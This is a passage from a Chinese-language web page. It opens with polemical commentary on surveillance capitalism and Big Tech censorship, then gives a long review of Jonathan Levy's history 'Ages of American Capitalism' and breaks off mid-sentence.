- 《关于”五眼联盟”的最新披露文件：科技产业巨头为什么能成为巨头？》“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）”，“大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……
- 推荐一本书，最彻底地揭示这个互联网究竟是什么《监视谷》
- “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……再推荐一本书《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》

如上，这些剩余吸收手段中的每一种都以不同的方式为通信革命增添了动力，这就是为什么计算机、数字技术和互联网会如此发展。因为每一种都需要新的监视和控制形式。其结果是监视的普遍化，与以下三个方面相关：（1）军国主义/帝国主义/所谓的安全;（2）企业营销和媒体系统;（3）金融世界。

这些研究是如此精彩和充满正义，**Foster** 和 **McChesney** 的研究充分证明了为什么 **Snowden** 揭露的东西并不是新鲜事。他们记载了一段可追溯到“陆军档案”（也称为 CONUS）丑闻的漫长历史，军队一直在秘密监视所有人，并通过使用超过 1,500 名便衣间谍挖掘 700 多万美国公民的文件。

正是由于这一丑闻的曝光，美国人才知道了 ARPANET—— 这是当今互联网的前身，这些美国受害人的秘密文件被保存了下来，而“无限期存储的数据”被证明是对民主的严重威胁。（《监视谷》中有介绍这一历史）

监视资本主义现在已成为了我们的日常，即使是后续质量控制问卷和我们被要求勾选的所有隐私标记框也构成了更大的私营部门信息库的一部分。

问题是大多数人认为这些信息是“无害的”，并且对他们的安全或隐私“没什么影响”。但是，正如 Foster 和 McChesney 所告诉我们的那样，监视资本主义可能已经远远超过任何政府监控：

它对数据的需求永无止境。其有利可图的扩张在很大程度上依赖于家庭抵押贷款的证券化; 信用卡使用的巨大扩展; 以及健康保险和养老基金、学生贷款以及其他个人理财要素的增长。家庭收入、支出和信贷的每个方面都被纳入了大规模收集数据库，并根据市场和风险进行评估。1982年至1990年间，美国个人的平均债务负担增加了 30%，随之而来的就是商业渗透到个人生活中。

因此，现在政府让私营部门就其“客户群”的农业信息进行竞标，商业并没有成为一种杀戮，但个人在失去隐私权的同时又进一步陷入债务危机。由于最近“重新起草”北美自由贸易协定，谷歌、Facebook 和推特等大公司被定位为现在的主要捐助者，因此剥夺了民主自由的个人同意、扼杀了言论自由。称为美国—墨西哥—加拿大协议（USMCA）：

这些大型科技公司一直试图通过“北美自由贸易协定”重新谈判，重新启动之前根据“通信规范法”第230条所规定的豁免权。上个月他们已经取得了成功，因为北美自由贸易协定的替代品，美国—墨西哥—加拿大协议（USMCA）现在将国会早些时候提供的豁免权扩展到了1996年“通信规范法”（CDA）第230条的范围。

这不仅是给科技巨头的大礼，而且是一个完全的悖论。科技行业大力游说，在其平台上伪装“自由表达”来获得第230条豁免权，当人们真的自由表达时面对的就是史无前例的侵入性监视。然后就是你看到的那样，隐私数据被提供给情报机构和政府，用来追踪任何当权者不喜欢的人。简而言之，大科技公司要求绝对的豁免，鉴于其使用第230条来合法化政治偏见和审查制度，揭示了网上言论自由的令人不安的现状。

在过去的一年里，Facebook 和 Twitter 在社交媒体上进行了前所未有的思想监视，现在有一些规则会以所谓的“假新闻”为由惩罚用户的思想犯罪，而 Facebook 和 Twitter 已经关闭了数百个政治媒体页面就在11月的中期选举之前。

如今审查在这些平台上已经司空见惯，正如谷歌再次面临人权组织对其在中国推出用于审查的搜索引擎计划的批评，这个项目名为 Dragonfly。

- 延伸阅读：美国人对谷歌中国审查版搜索引擎产生了准确的恐惧，因为 Dragonfly 清楚地证明了谷歌完全可以控制人们的认知（虽然这应该不是新鲜事），美国用户通过该项目的曝光明白了自己的处境—— 因为 Dragonfly 是给中国制作的，由于中国恶劣的声誉，该项目受到了全球谴责，然而如果是为美国用户实施如此的审查监控，又有谁能帮助维权？详见《准确的恐惧》这是个可怕的问题，就如我们在棱镜曝光后的这几年里看到的那样，联合国也对美国无能为力

20世纪90年代早期，随着互联网的公开发布，曾经有人预测了信息民主化的转变，然而我们现在看到的却是，在错误的人手中，信息不仅不是进步的，而且被证明是非常危险的。

玩糖果粉碎游戏、使用微信和 Viber 的人们绝大多数都没有意识到，他们无偿提供给监视资本主义的大量数据是如何对健康的民主构成了致命的威胁。我们需要随时了解大型企业和社交媒体公司在私人生活中的侵占情况以及这些私营部门可以深入了解的信息深度。最后，谁控制这些信息、以及如何使用这些信息，是我们必须要问的另一个更加严峻的问题，必须得到答案，即使冒着发现可怕和无情的真相的风险。

原文

资本主义时代：美国作为发展中国家的肖像 - iyouport

免费书和纪录片

飞速的增长和财富积累究竟来自什么？……

乔·拜登总统任期的开始，促使人们对美国资本主义的发展方向进行了不可能的重新评估。拜登宣布将进行“范式转变”，摆脱几十年来无情地偏袒富人的政策体制，他引用了新政来描述他对激进政府的愿景。在扩大福利国家的同时，他还承诺了一个雄心勃勃的发展议程，将基础设施、产业政策和应对气候变化的能源转型联系起来。尽管拜登执行其愿景的决心仍未得到检验，但现在积极的国家干预的前景似乎比大衰退时期要大得多，当时紧缩政策迅速成为一种跨大西洋现象。

当时和现在最突出的区别是，拜登认为长期投资对维护民主至关重要。拜登打破了新自由主义经济学家对民主党决策的一代人的影响，他的愿景也是对希拉里·克林顿三年前的吹嘘的悄悄否定，尽管她在2016年的总统选举中输给了唐纳德·特朗普，但她“赢得了占美国国内生产总值三分之二的地方”—— 该国“乐观、多样化、充满活力、向前发展的地区”。这场大流行病只是进一步说明，即使是这个国家最繁荣的城市，曾经是全球化时代的增长动力，也亟需国家主导的项目和平等主义的分配。

美国政治经济学新时代的一个核心问题是，政府究竟如何才能促使资本为公共福利而工作。如果资本有流动性的倾向，政治代理人如何引导它进行投资？在这本令人惊叹的新书《美国的资本主义时代》中，经济史学家乔纳森·利维（Jonathan Levy）阐述了这种引导是可能的历史条件，他认为，美国历史上变革性发展的长弧从来没有自发地从市场中产生。利维写道：区分美国资本主义时代的因素 …… 不是严格意义上的经济变量，而是政治举措。他展示了政客如何一直引导着美国资本主义的进程，对不平等、社会流动性、公民意识以及民众对政府和企业责任的看法，产生了鲜明的影响。

该书分为四个部分：“商业时代（1660–1860）”，“资本时代

（1860–1932）”，“控制时代（1932–1980）”、和 “混乱时代（1980-）”。在每一个章节中，利维都追求三个论点。首先，资本与其说是一个东西，一个 “有形的生产要素”，不如说是一个 “过程”—— 基于未来利润预期的投资。第二，“利润动机” 本身 “从来都不足以推动经济历史，甚至资本主义的历史”。第三，“资本主义的历史是短期囤积倾向与长期投资能力和诱因之间永无止境的冲突”。

利维涵盖了广泛的技术领域 —— 从货币和财政政策之间的紧张关系、以及通货紧缩和通货膨胀的后果，到全球化金融的日益复杂化和美联储的当代首要地位 —— 但这本书也是一部生动的社会和地缘政治史。事实上，正如他在导言中所写的，“今天的主流经济学遵循的是一条非常严谨的数学道路，..... 没有为经济生活的其他描述留出多少空间”；相反，利维认为 “历史分析在经济学中应有一席之地，以及对经济是什么有更广泛的看法”。

在他对经济发展的不断变化的地形和推动它们的政治联盟的调查中，利维强调了这个国家的两个伟大的、但有很大缺陷的发展联盟：十九世纪的工业化共和联盟和二十世纪的新政联盟。正是通过这些联盟，美国资本最优先考虑了非流动性投资，刺激了基础设施和技术的进步，最终整合了一个国家的消费主义的经济。虽然这本书的内容远不止这些联盟，但它们的例子有力地支持了本书关于政治机构在塑造经济事务中的作用的中心论点。

也许最重要的是，这些联盟帮助我们清楚地思考美国作为一个发展中国家的历史轨迹，表明经济进步 —— 有时是更多的民主，有时是更少的民主—— 取决于政治行为者在追求国策和国家权力时促成的妥协和跨阶层的结盟。经济学家和经济史学家将对该书中对技术辩论的干预有自己的看法；但是，鉴于拜登努力表明要果断地摆脱新自由主义，研究利维列入历史核心的这些联盟的胜利和失败，也是很有启发性的。

殖民贸易和奴隶制制度

「图」

利维指出，塑造美国经济扩张的这两个伟大时期的许多特征 —— 包括鲜明的区域划分和对经济自由的竞争性解释—— 都出现在工业化发展前的殖民时期。这本书从17世纪末英国重商主义的起源开始，对利维来说，它体现了 “国家权力应该鼓励私人商业的创富能力，但又要限制商业的自我利益这一悖论，这是一种威胁道德和政治秩序的危险冲动”。列维认为，自由与社会义务之间的较量，塑造了美国政治

思想的漫长历程，最终源于这一核心悖论。

起初，英国政府打算让殖民地成为英国过剩制造业和人口的“出口”—— 实际上是在遏制国内失业的同时创造外国需求 —— 并向大都市供应一些原材料。但是，新英格兰的殖民者不顾对当地制造业的限制，加速了英国官僚机构的发展，这些官僚机构试图跟上殖民地对其自身经济发展进行政治控制的步伐。一时间，大都市采取了更加务实的做法，随着英格兰银行推动商业投资，帝国内部自由贸易的基础已经奠定。因此，利维认为，“指数型资本主义经济增长”的知识和实践基础已经建立。同时，利维强调，“在很大程度上，北美的商业时代始于英帝国对黑人奴隶制的承诺”。

这一承诺并非“命中注定”，利维写道。奴隶制的急剧扩张始于“英格兰统治者的选择”，即 在英格兰人口开始下降时阻止移民。取而代之的是，殖民化的工作现在将通过奴隶制来实现。“到18世纪中叶”，列维指出，“黑人奴隶生产的商品占美国殖民地所有出口商品的80%”。**1689**年后，奴隶贸易向所有英国人开放，预示着美国早期共和国的**Herrenvolk**民主。然而，奴隶制在南方的高度集中也为地区发展的不同路径创造了条件，这将加剧安特贝勒姆时代后期的宗派主义。

【注：Herrenvolk民主是一种政府体制，其中只有多数族裔群体参与政府管理，而少数族裔群体则被剥夺了公民权。一个群体支配国家的民族主义是一个相关的概念。德语术语 Herrenvolk，意思是“优等民族”，在19世纪的论述中使用，证明殖民主义具有欧洲人的种族优势。安特贝勒姆（Antebellum South）是美国南部历史上的一段时期，从美国独立战争结束到1861年美国内战爆发。】

虽然南方种植园是西印度群岛以外最富有的殖民地，但北方的商业和新生的制造业能力却多样化了。北方殖民地较少的被奴役者意味着有更多的人参与贸易，尽管北方的精英们在废奴主义兴起之前一直积极参与奴隶贸易。在描述北方殖民地资产阶级的新生文化时，利维展示了大西洋贸易如何在18世纪助长了“斯密特式的商业乘数”，推动了殖民地财富和市场的传播，以至于生活水平可能超过了世界其他地方的普通人。同时，商业和奴隶制的爆炸使殖民地的私有财产学说得到了巩固。

美国的独立战争将提升对这个挣扎中的共和国的政治经济方向的根本分歧。利维写道：“在这个时代，政治家—— 而不是商业企业家——对规划共和国的长期经济未来负有最大责任”。托马斯·杰斐逊和亚历山大·汉密尔顿是相互竞争的共和主义的冲突代表。杰斐逊设想了一个以向西扩张为前提的自给自足的农业共和国，而汉密尔顿则试图建立

在刺激北方商业和制造业的跨大西洋金融模式之上。利维写道，汉密尔顿观点的实质是，“在一个共和国中，只有国家权力才能协调私人私利和公共利益之间的紧张关系”。杰斐逊强烈反对这一发展项目，担心它将使小业主边缘化，助长寡头政治，并邀请跨国精英耗尽年轻共和国的经济主权。果然，每个对手的国策都会影响到另一个对手。国家的汉密尔顿金融架构，包括美国银行，将为杰斐逊的路易斯安那购地案提供资金，而杰斐逊在执政期间对出口的禁运促进了国内市场的发展，推动了汉密尔顿在其1791年关于制造业的报告中所倡导的工业化萌芽。

尽管这两种发展愿景偶尔会综合在一起，但在内战之前，杰斐逊的愿景在政治上取得了胜利，利维表明。安德鲁·杰克逊谴责肯塔基州辉格党人亨利·克莱在1812年战争后提出的长期国家规划的“美国制度”。为了迎合反垄断的情绪，杰克逊在担心成为工资依赖者的小制造商周围组建了一个政治联盟；他们自称为“民主派”。杰克逊担任总统期间（1829–1837年）的发展是狂热的、杂乱无章的。即使当时的民粹主义试图将公共领域与私人商业利益隔离开，或如利维所说的“设立范围”，但国家政策推动着投资，反之亦然。

最重要的是，杰克逊清除了美国原住民的种族灭绝政策将投机性投资引向了国家不断扩张的周边地区，这促进了内部改善的激增。但是，基础设施的发展与来自远方债权人的贷款息息相关；例如，国家特许经营的银行公司往往通过出售国家债务获得资本。当英格兰银行提高银行利率以恢复黄金储备时，没有任何应急政策来管理1830年代末的金融恐慌和经济衰退。利维指出，这一发展是全球信贷周期结束的一个典型案例。杰克逊建立了一个攻击精英的政治生涯，但他所加速的发展进程却不可避免地与东北和英国投资者的任性联系在一起。

除了杰克逊的白人定居者边境，区域间经济发展的一个重要驱动力是残酷的国内奴隶市场的扩张。1808年大西洋奴隶贸易的关闭导致了“第二条中间通道”的出现，而这一通道是通过被奴役者的生物繁殖来推动的，繁荣的种植园经济刺激了连接西北和南部各州的水路的内部贸易。利维展示了被奴役者是如何被理解为具有“预期金钱收益”的可移动资本资产，其价值主要受棉花价格的调节。

这一制度榨取了程度上真正惊人的国家财富总量，在**19**世纪**50**年代大大超过了其他增长来源。利维发现，美国400万被奴役者的“价值”达到了30亿美元——“是1860年整个美国工业资本存量价值的三倍”。到那时，最大的棉花种植园已经按照原福特主义路线有效地组织起来，像工厂一样运作，对不同的任务进行严格的分工，以实现效率最大化。同时，种植者阶级通过对奴隶制进行反常的家长式辩护，将被

奴役者视为种植者家庭的延伸，从而强化了这种残酷的经济制度。

利维认为，这种家长式的做法加剧了19世纪40年代和林肯当选之间的地区政治经济差异。由国家政府主导的市场基础设施的“运输革命”更多地集中在北方，已经启动了该地区的工业化大跃进。运河和公路公司加强了市场密度和准入，这导致了金融家、制造商、商人和贸易人员的大都市网络的蓬勃发展。利维所称的“工业投资乘数”正在形成，从而使美国资本主义进入一个新阶段。一个新兴的工业家阶层正处于投资于前所未有的长期固定资本的风口浪尖上，这不仅会重塑城镇的物理结构，而且会通过铁路系统加速跨越东北到中西部的制造业地带的经济一体化。这些变化将改变美国的经济，但需要一个政治催化剂，它以共和党的形式出现。

共和工业化的兴起

「图」

该书的下一节“资本时代”从内战前夕开始，展示了工业化的步伐如何与共和党和联邦的胜利密不可分地联系在一起。到林肯担任总统时，奴隶制的未来和它的地理扩张已成为国家政治中不可逾越的鸿沟。林肯不是一个热心的废奴主义者，但他仍然担心奴隶制可能在1857年最高法院的德雷德·斯科特判决后的各州再次变得合法。根据利维的说法，林肯的言论恰恰使中西部下游地区的农民感到震惊，因为奴隶主可能会侵占他们的生计并买下最好的土地。这一信息成功地使1860年的选举向共和党倾斜。尽管“奴隶制势力”一直占主导地位，但利维表明，新成立的共和党继承了已停业的辉格党所规划的发展道路。其“自由土壤、自由劳动、自由人”的号召力在北方的农业地区和制造业地带巩固了政治基础。

【注：斯科特案（Dred Scott case）是美国最高法院于1857年判决的一个关于奴隶制的案件，该案的判决严重损害了美国最高法院的威望，更成为南北战争的关键起因之一。】

共和党人与北方工业和金融业的紧密联系，对联邦在内战中的胜利至关重要。事实上，利维写道，“是一个高度运作的腐败政治经济帮助联邦赢得了胜利”。

联邦政府对货物和物资的需求极大地刺激了北方企业，这些货物和物资通过州政府特许的私营铁路运给联邦士兵。同时，共和党国会主张国家有能力指导和推动经济发展。1861年的莫里尔关税启动了一个庞大的保护性关税体系，在联邦胜利后的很长一段时间里，北方工业与

共和党的政治成功紧密相连。1862年的《宅地法》开放了数百万英亩的联邦土地，让人们几乎可以自由定居。同年的《莫里尔法案》为建立州立大学提供了土地补助。1862年和1864年的《太平洋铁路法》通过特许联合太平洋公司和中央太平洋公司，引发了洲际旅行潮。

通过这些自信的国家行动形式—— 保护主义的工业化、国家补贴的定居和土地所有权，以及国家市场的建立，一个共和党的发展联盟诞生了，这个联盟将在产生新的经济等级制度的同时，使国家现代化。

这种新的等级制度的核心是由内战引发的美国金融体系的变化，这种变化只会加剧地区差异。最终，利维表明，在废除奴隶制之后，共和党未能采用一种包容性的发展模式。

1863年和1864年的《国家银行法》简化了通向单一货币的道路，授权使用公共债务来资助联邦运动，这点燃了公共债券市场，使华尔街成为国家和国际金融中更强大的节点。国家税收为债务提供了资金，而战争期间临时使用绿钞则有助于扩大生产和商业。但货币供应量的扩大，以及累进税的可能性，将被证明是短暂的。战争结束后，恢复金本位制成为了新的金融精英的首要任务，对重建工作造成了严重的损害。

恢复金本位意味着通缩和紧缩，这大大减少了确保南方黑人政治自由所需的财政支出。投资的收缩将使大多数前奴隶失去了获得土地和建立商业的手段；在前种植园主控制下的分成制变得无处不在。

随着19世纪70年代镀金时代的到来，第一批真正的工业巨头在全国范围内崭露头角。利维强调了安德鲁·卡内基从铁路投机者到钢铁大亨的重塑是如何代表了向能源和资本密集型经济的过渡。利维写道：“钢铁，增加了一系列的后向和前向联系，创造了更大的社会结构，其凝聚力越来越依赖于固定资本产生的生产力和利润率”。

卡内基和其他工业家一样，从保护性关税中获益。他通过无情地提高劳动生产率，通过记账和计时密切监控成本和产出，最大限度地提高了欧洲竞争的这一障碍。

保护主义对共和党联盟的派别和人口统计学强加了一个等级制度，使资本货物和中间制造商的生产商享有特权，同时有效地迫使消费者和农民支持国内生产 —— 包括那些相对来说资本匮乏的南方。关税收入也取代了国家税收，加剧了地区间的差距。这种结构与北方的城市增长和蓬勃发展的西部开发深深交织在一起。

正如利维所解释的那样，为了养活不断扩大的工薪阶层，对食品的需求量很大，这为提高农业生产所需的国内制造业创造了额外的需求。即使中西部的粮仓更容易受到全球信贷波动的影响，关税制度也将农民、工人和工业资本家联系在一起，扩大了州际和区域间的贸易链。

但保护主义无法压制工业冲突。在金本位制的加剧下，不平等和剥削成为劳工的一个紧迫问题，但事实证明，组织工作很不稳定。劳工骑士团在19世纪80年代的经历反映了早期劳工运动的障碍，包括结构性的和自制的障碍。该组织具有强烈的生产主义色彩，植根于反垄断而非国际主义政治，它的崛起早于工资制度的整合，而工资制度的整合将伴随着1895–1904年的公司大合并运动。

虽然妇女和一些黑人生产者的加入是劳工骑士团较为平等的特征之一，但其领导层明确地反华并支持1882年的排华法案。据利维说，他们消亡的核心原因是无法调和没有财产的城市无产阶级与中等财产拥有者的愿望，后者正试图保持他们的经济相关性，以对抗越来越大的公司的指数级市场份额。

美国劳工联合会在排除小资本家的同时，后来推行了改革主义路线，通过避免政治联盟和排斥黑人和新移民来进一步限制其视野。利维指出，劳工运动转向工资制度改革，预示着对 “收入政治” 的更广泛强调，这将主导**20**世纪的政治经济。

民粹主义运动则代表了对工业和金融资本纽带的另一种挑战。民粹主义者—— 以及他们在农民联盟中的前身 —— 推动了一系列政策和组织创新，包括合作社、国家补贴和储存农作物的计划、打击垄断的铁路法规以及国家对铁路和通信行业的直接所有权，以及使用白银来增加货币供应。特别是白银的野心，旨在削弱跨国金融精英的流动性偏好的力量，并使西部和南部农业摆脱垄断做法。

由金本位制推动的不可避免的繁荣和萧条的循环对西方农民特别有害，他们已经受到银行和抵押贷款的高利率的影响。1893年的恐慌造成了另一次严重的信贷紧缩，使作物价格出现了严重的通货紧缩；利维指出，在随后的大萧条中，农场收入下降了22%。

然而，利维解释说，民粹主义者在1896年的总统竞选中因白银的提升而注定失败，他们对通货膨胀货币政策的主张使他们的其他发展和准国家主义经济思想黯然失色。

通过与民主党的命运联盟，民粹主义者支持威廉·詹宁斯·布莱恩（William Jennings Bryan），他以金本位制带来的腐败和寡头统治

为主题。在选举中，布莱恩被共和党人威廉·麦金利击败，后者强调了国内工业和不断扩大的繁荣之间的联系。列维认为，保护性关税最终排除了农业民粹主义者、中西部小制造商和东北劳工之间的那种大联盟，而这种联盟对于在联邦选举中颠覆共和党的霸权是必要的。

事实上，关税提供了一个可靠的对冲措施，以抵御一个基本未经测试的替代性发展道路，即使这意味着容忍金本位制所驱动的金融任性。尽管关税对促进新生工业不再重要，但它在政治上与经济发达的北方的一个跨阶级领域紧密联系在一起。

尽管镀金时代极度不平等，但强劲的国内工业正成为主要的就业手段，并与工资的增长日益相关。利维指出，与此同时，最高法院在反垄断和自由放任之间摇摆不定，但它在1895年作出的“大型制造业合并不违反”1890年《谢尔曼反托拉斯法》的裁决，只是推动了现代公司的崛起和工人对稳定工资的依赖。通过广泛获得内战养老金，进一步加强了对共和党人的支持 —— 这是一种粗糙的但政治上成功的福利主义形式，早在社会保障出台之前就已存在。

最终，尽管资本家和该国制造业核心的工人之间经常发生冲突，但大多数农村选区的不满无法打破共和党联盟。

新政的区域转型和后工业化转向

「图」

这本书的第三部分，“控制的时代”，研究了新政 —— 美国国家主导的投资的顶峰以及它在战后经济中的后果。利维指出，在这一时期，监管、投资和救济机构的联合活动产生了惊人的区域影响，从根本上改变了共和党的经济范式，该范式在很大程度上以牺牲南方为代价实现了北方的工业化。

正如利维所说，新政国家的建设结合了“收入政治”—— 通过国家调解的再分配和对工会权利的法律认可，使工业资本主义变得“民主”—— 以及从民粹主义遗产中汲取的发展政策，这些政策不仅强调农业收入的坚实基础，而且强调有助于实现区域生活水平平等的项目。由此产生的公共工程和国家补贴的信贷的扩散，特别是在南部和西部，将有助于重振北部工业核心的生产力，同时将私人投资向外辐射。

这些变化与几十年来的深刻政治变革密切相关，首先是伍德罗·威尔逊对南方白人的讨好。在民主党国会的帮助下，威尔逊的第一届政府（1913–1917）仍然受到农业利益的强烈影响，同时借鉴了东北进步

人士的改革主义议程，在他自己的第一届政府（1933–1937）中引入了所得税和公司税，降低了关税，通过了反托拉斯立法，并创造了向农民发放信贷的新途径。罗斯福扩大了这一部门的逆转，同时通过社会保障、瓦格纳法案和其他措施巩固了城市工人阶级转对民主党的重新调整，加强了该党对建立现代福利国家的承诺，而在此之前，这种福利国家充其量也只是个骨架而已。(与许多研究新政的学者一样，利维强调，罗斯福热衷于接受一个种族和地区多样化的联盟，即使“稳固的南方”的种族主义秩序仍然在塑造新政政策方面发挥着重要作用）。

然而，新政不仅仅是对民粹主义注入的威尔逊式进步主义的重申。利维指出，1933年的《国家工业复兴法》虽然两年后被最高法院宣布无效，但它打破了民主党的杰克逊式反垄断遗产。大萧条不会通过恢复小业主来结束，而是通过诱导工业资本恢复福特主义消费主义在危机前承诺的男性养家糊口的模式。“一种新的模式出现了”，利维写道，“在这种模式中，联邦政府采取行动促进资本主义企业在大规模生产水平上的发展，即使许多商人对其税收和监管政策进行抨击”。

因此，罗斯福的主要目标是支撑需求和刺激投资，尽管他的政策实验网有些比其他的方法更不利于资本，超出了他的前任赫伯特·胡佛假设的国家干预主义的限制。胡佛是一个典型的技术官僚；他设想了一个以更科学的治理和利益集团之间的协调为前提的“联合国家”。他对抗大萧条的尝试受到了严重限制，因为“他不会强迫资本家投资”，利维写道。胡佛反而受制于盛行的紧缩理论 —— 据利维说，对1929年经济崩溃的错误诊断使之得到了加强。在世纪之交，纽约证券交易所已经成为最重要的流动公司证券市场，扩大了对生产的长期投资规模，但也为积极的投机活动创造了新的诱惑。

在整个20世纪20年代，华尔街和企业宣传的理念是，股票所有权是“民主公民身份的财产锚”，就像土地所有权曾经那样，助长了日益投机化的投资狂热。但是，古典经济学家“诊断为过度投资”，利维写道，“最好描述为投机性错误投资”。资本家随后转向“预防性地囤积流动资产”，这只会加剧危机，因为“现有能力”—— 生产性固定资本和大量愿意劳动的人的组合—— 停滞了，需求崩溃了。

在这些发展之后，罗斯福的第一个关键成功是恢复了消费的基线。通过重建金融公司的转型、农业生产控制和美元对黄金的贬值，价格得到了部分回升（利维详细讨论了这点，强调其公共投资和银行资本重组）。国家管理的融资得到了基础设施项目的补充，这些项目提供了急需的失业救济，并将慢慢帮助吸引资本进入国家的欠发达地区。尽管早期新政有发展主义倾向，如田纳西河谷管理局和公共工程管理局

的例子，但利维强调了新政的监管部门和发展部门之间的重要不对称性。各种资本控制 —— 旨在稳定金融系统，恢复需求，并将资本引向生产 —— 比建造公共住房和进一步扩大公共公司更优先。

利维强调，到了20世纪30年代末，资本家中新出现的 “政治化的流动性偏好” 为引入更加平等的国家主导的发展形式创造了不利的条件。相反，政府通过联邦住房管理局促进了住宅的发展，该局除其他活动外，还为贷款提供保险，并将延长抵押贷款的时间框架标准化。由于这种鼓励长期投资的监管框架，住房建设在战后时期蓬勃发展，形成了以男性雇员和传统核心家庭为前提的消费主义的另一个支柱。

只有加入二战才能让罗斯福政府以前所未有的规模暂时重组经济。利维写道：对新建的政府所有、承包商经营的企业进行的大量公共投资，推动了战争产业的发展。新的工厂终于被建造起来，特别是汽车工业，增加了生产以满足军队对设备的需求。战时动员将最终实现新政的充分就业的雄心壮志，推动了太平洋西岸的 “第三次西部工业化”，同时也促进了 “阳光地带” 的崛起，其增强的经济意义将持续到朝鲜战争和冷战带来的永久性国安状态。

【注：国安状态就是维稳状态，但它是武装的，并更多结合紧密的情报工作。如果您错过了《从冷战到反恐战争：专制 “解决方案” 带来的危害往往大于其表面上旨在应对的威胁》】

【注：阳光地带（Sun Belt）是美国的一个地理区域，一般认为贯穿美国南部和西南部。另一较为粗略的定义是北纬36度线以南的地区。自1960年代以来，太阳带人口大幅增长，这是由于大量居民追求温暖、阳光明媚的气候，退休的婴儿潮一代激增，以及经济机会的增长。】

然而，与此同时，战后的经济对新政的自由主义规定了明确的限制。新政曾经呼吁的公共福利的广泛定义（在罗斯福1944年提出的 “第二项权利法案” 中得到体现 ）被联邦政府、以大型生产基地为基础的公司和慈善机构的 “财政三角” 所取代。“美国没有像许多战后社会民主国家那样的公共和私营企业的 ‘混合’ 经济”，利维写道，“相反，私人利益集团争夺大政府的利益”。经济政策集中于保持增长，挥舞着凯恩斯主义的刺激措施来对抗经济衰退，而 “‘富足’成为经济公民的一种权利”。用了半个多世纪的政治机制来确保工业化提供共同的繁荣。然而，战后的经济结构在种族和性别不平等的长期存在下，在资本有恃无恐地追求更大的流动性、以及各种国际和国内经济冲击的情况下，陷入了困境。

在讨论从新政秩序向里根及其继任者的不稳定的金融化经济过渡时，利维因此尖锐地拒绝了对福利资本主义黄金时代的怀旧。回顾重建时期的失败，他表明民主党的决定破坏了美国黑人的经济地位，就像伟大社会立法旨在支持他们的政治平等。管理不善的“城市重建”计划促进了生产性投资从制造业地带转移，为在大迁徙过程中定居在北方城市的美国黑人消除了相对经济机会的支柱。美国黑人长期以来也一直受到红线的限制，联邦住房管理局的政策将房地产投资引向白人郊区的单户住宅建设，从而扩大了经济差距。

利维将大规模监禁的兴起直接归因于这些发展。他写道：“二十世纪自由主义经济发展议程的失败，没有什么可以比1965年至1969年出生的黑人男子平均而言更有可能在监狱中度过余生，而不是从大学毕业，这一 统计数据更能说明问题的了”。

利维并不是唯一一个断言新政秩序带有其自身毁灭的种子的人。使这一评估更加尖锐的是，利维在新政的战争状态和“阳光地带”政治的最终国家化之间建立了联系 —— 从而使房地产投机、流动金融资产和报酬不高的服务工作占据了首要地位。

当然，这些发展在2008年达到了顶峰，当时金融危机在“教科书式的债务通缩”中演变成了大衰退。但是，巴拉克·奥巴马并没有恢复强劲的“财政乘数”，而是在很大程度上接受了一种道德主义的责任政治。正如许多进步的政策专家所同意的那样，他的政府的刺激政策过于谨慎了，而在2010年茶党浪潮之后，奥巴马心甘情愿地拥抱了紧缩政策。

经济政策的制定仍由美联储负责，但其量化宽松政策的创新，降低了长期利率，并没有引发预期的企业利润再投资。唐纳德·特朗普的当选和大流行病带来的新的经济危机才促使民主党精英们（包括拜登）承认，奥巴马政府的刺激措施是不够的。鉴于拜登政府宣布其经济政策的速度，似乎至少有一些政策制定者现在认为奥巴马的任期证明，长期扩张并不能确保公平的复苏。

作为一部全面介绍美国资本主义的历史书，《美国资本主义时代》的成功在很大程度上是由于利维将重点放在了推动最高政治权力机构制定经济政策的竞争目标上。它也是一部充满文化和社会细节的历史，为了解美国工人阶级的斗争和目标、中产阶级生活的舒适和限制以及该国更具影响力的经济精英们的执着愿景提供了一个窗口。

当然，这种范围和重点的研究工作有必要的限制。例如，国际背景大多与货币政策和信贷波动的讨论相联系。另一个相对的弱点是，这本

书只是间接地涉及了种族资本主义的概念，这是一个对奴隶制和资本主义历史的讨论越来越重要的视角。(利维承认，“我在这里没有空间对关于资本主义和奴隶制之间关系的辩论进行公正的讨论”。“这本书的出发点是资本。奴隶制是一种古老的制度，几个世纪以来表现出许多共同特征，但资本化不是其中之一”。)

利维对从奴隶制中残酷榨取的财富的阐述占据了这本书前半部分的大部分内容，它极大地阐明了美国发展的不同区域路径。但书中没有正面讨论塞德里克·J·罗宾逊等人提出的批评，即 种族主义形式的奴役和等级制度是资本主义发展的内在因素，而不是从政治偶然性中共同演变出来的制度。

- 如果您错过了《中国的 “新疆模式” 如何借鉴美国、英国和以色列的平叛战略》

更广泛地说，尽管种族不公正显然是利维分析中的一个主题，但黑人的政治机构和经济生活却没有得到足够的重视。同样，虽然利维偶尔会反思工业资本主义如何突出家庭生活的 “领域” 和妇女劳动的政治边缘化，但该书的结构只允许对伴随资本主义发展的排斥和剥削形式给予如此多的关注。

读者还可能注意到，随着利维将其关注点缩小到流动性和全球资本上，美国经济生活的物质领域逐渐消失。例如，利维对休斯顿在20世纪70年代的经济增长进行了精彩的讨论，展示了它是如何在女性劳动力激增的推动下，创造出一个快速、显眼的消费和低工资的护理工作的新阶层的。但利维并没有盘点搅乱东、西海岸城市复苏的士绅化和流离失所。他也没有对导致一些锈带地区在2016年投票给特朗普的条件进行有意义的详细调查。实际上，这本书的论述在特朗普崛起之前就结束了。

然而，在大多数方面，该书是一个有价值的、令人着迷的贡献。该书最重要的成就之一是说明了将美国的历史视为一个发展中国家的历史的价值。关于这个问题的学术研究越来越多，包括马丁·J·斯科拉的《作为发展中国家的美国》（1992）、理查德·富兰克林·本塞尔的《美国工业化的政治经济学，1877–1900》（2000）和莫妮卡·普拉萨德的《太多的土地，美国的富足和贫穷的悖论》（2012年）等作品。以及最近的，如诺姆·马戈尔和斯特凡·林克去年发表的文章。这些历史学著作都在以不同但有力的方式，努力消除关于美国企业家例外论挥之不去的神话。

这部著作的一个核心结论是，仅凭丰富的资源和经济自由并不能解释

